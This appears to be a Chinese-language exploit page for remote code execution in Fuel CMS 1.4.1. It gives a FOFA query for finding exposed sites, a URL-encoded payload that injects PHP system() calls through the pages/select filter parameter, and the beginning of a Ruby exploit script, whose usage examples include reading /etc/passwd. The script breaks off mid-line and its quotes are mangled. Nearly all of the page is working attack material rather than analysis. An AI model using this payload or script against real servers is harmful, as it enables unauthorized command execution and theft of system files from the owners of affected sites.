Fuel CMS 1.4.1 远程代码执行

# Fuel CMS 1.4.1 远程代码执行

FOFA：

“`
“Fuel CMS”
“`

PoC：

“`bash
/fuel/pages/select/?filter=’%2Bpi(print(%24a%3D’system’))%2B%24a(‘#{cmd}’)%2B’
“`

“`ruby
#!/usr/bin/env ruby

require ‘httpclient’
require ‘docopt’

# dirty workaround to ignore Max-Age
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
$VERBOSE = nil

doc = <<~DOCOPT Fuel CMS 1.4 - Remote Code Execution Usage: #{__FILE__}
#{__FILE__} -h | –help

Options:
Root URL (base path) including HTTP scheme, port and root folder
The system command to execute
-h, –help Show this screen

Examples:
#{__FILE__} http://example.org id
#{__FILE__} https://example.org:8443/fuelcms ‘cat /etc/passwd’
DOCOPT

def exploit(client, root_url, cmd)
url = root_url + “/fuel/pages/select/?filter=’%2Bpi(print(%24a%3D’system’))%2B%24a(‘#{cmd}’)%2B'”

res = client.get(url)

/system(.+?)